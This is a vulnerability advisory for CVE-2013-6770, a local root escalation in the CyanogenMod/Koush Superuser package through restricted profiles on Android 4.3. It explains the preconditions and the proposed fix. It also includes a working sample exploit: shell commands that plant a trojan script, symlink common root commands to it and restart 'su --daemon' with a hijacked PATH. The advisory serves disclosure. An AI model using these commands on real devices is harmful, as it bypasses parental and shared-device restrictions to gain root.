Current releases of the CyanogenMod/ClockWorkMod/Koush Superuser package may allow restricted local users to execute arbitrary commands as root in certain, non-default device configurations. Android 4.3 introduced the concept of "restricted profiles," created through the Settings -> Users menu. A restricted profile can be configured to allow access to only a minimal set of applications, and has extremely limited abilities to change settings on the device. This is often used to enforce parental controls, or to protect shared devices set up in public places. The OS requires an unlock code to be entered in order to access the owner's profile to administer the system. /system/xbin/su is a setuid root executable, and any user may invoke it in client mode ("su -c 'foo'" or just "su"), or in daemon mode ("su --daemon"). In either mode of operation, the user who invokes this program has the ability to manipulate its environment variables, file descriptors, signals, rlimits, tty/stdin/stdout/stderr, and possibly other items. By adding new entries at the front of the PATH for commonly-executed root commands, then re-invoking "su --daemon", an attacker may be able to hijack legitimate root sessions subsequently started by other applications on the device. "su --daemon" is normally started up very early in the boot process, as root, from /init.superuser.rc (CM) or from /system/etc/install-recovery.sh (other ROMs). The fact that unprivileged users are allowed to restart the daemon later, under EUID 0, appears to be an oversight. Successful exploitation requires a number of conditions to be met: - The attacker must have ADB shell access, e.g. over USB. This is disabled by default, and normally restricted to trusted ADB clients whose RSA key fingerprints have been accepted by the device administrator. Root access via ADB (i.e. Settings -> Developer Options -> Root access -> Apps and ADB) is not required. Note that ADB shell access is typically considered a security risk, even in the absence of this problem. - The attacker must have a way to assume a non-shell (non-2000), suid-capable Linux UID in order to prevent /system/xbin/su from creating infinitely recursive connections to itself through the daemon client UID check in main(). One way to do this would involve uploading an app with the "debuggable" flag and using /system/bin/run-as to assume this UID. "adb install" can probably used for this purpose. However, due to a bug in Android 4.3's "run-as" implementation[1], this does not currently work. This bug was fixed in Android 4.4, so CM11 will probably be able to satisfy this requirement. - The device owner must have granted root permissions to one or more applications via Superuser. The restricted profile does not need to be able to run this app from the launcher. Sample exploit: The restricted local user can reboot the tablet, run "adb shell" when the boot animation shows up, then invoke the following commands: echo -e '#!/system/bin/sh\nexport PATH=/system/bin:$PATH\ntouch /data/trojan.out\nexec $0 "$@"' > /data/local/tmp/trojan chmod 755 /data/local/tmp/trojan for x in id ls cp cat touch chmod chown iptables dmesg; do ln -s trojan /data/local/tmp/$x ; done PATH=/data/local/tmp:$PATH setsid run-as.422 my.debuggable.package /system/xbin/su --daemon & (Note the use of "run-as.422" as a proxy for a working Android 4.3 run-as binary, and the installation of "my.debuggable.package" with the debuggable flag set.) At this point the USB cable may be disconnected. The next time a root application successfully passes the Superuser check and invokes one of the trojaned shell commands, /data/local/tmp/trojan will be executed under UID 0. An ideal candidate for exploitation is a package which runs privileged commands on boot, e.g. AdBlock Plus or AFWall+, as this allows for instant access. Another possibility is to hijack an app which the device's operator runs frequently, such as Titanium Backup. Note that this can NOT be exploited by malicious applications, as zygote-spawned processes (apps) always access /system in nosuid mode[2] on Android 4.3+. The ADB shell was used as the attack vector as it is not subject to this restriction. ChainsDD Superuser v3.1.3 does not have an Android 4.3+ client/server mode at all, and SuperSU aborts if an existing "daemonsu" instance is already bound to the abstract @"eu.chainfire.supersu" socket. Proposed resolution: on Android 4.3 and higher, install all Superuser-related binaries with mode 0755 (setuid bit unset). This problem is being tracked under CVE-2013-6770. [1] https://code.google.com/p/android/issues/detail?id=58373 [2] http://source.android.com/devices/tech/security/enhancements43.html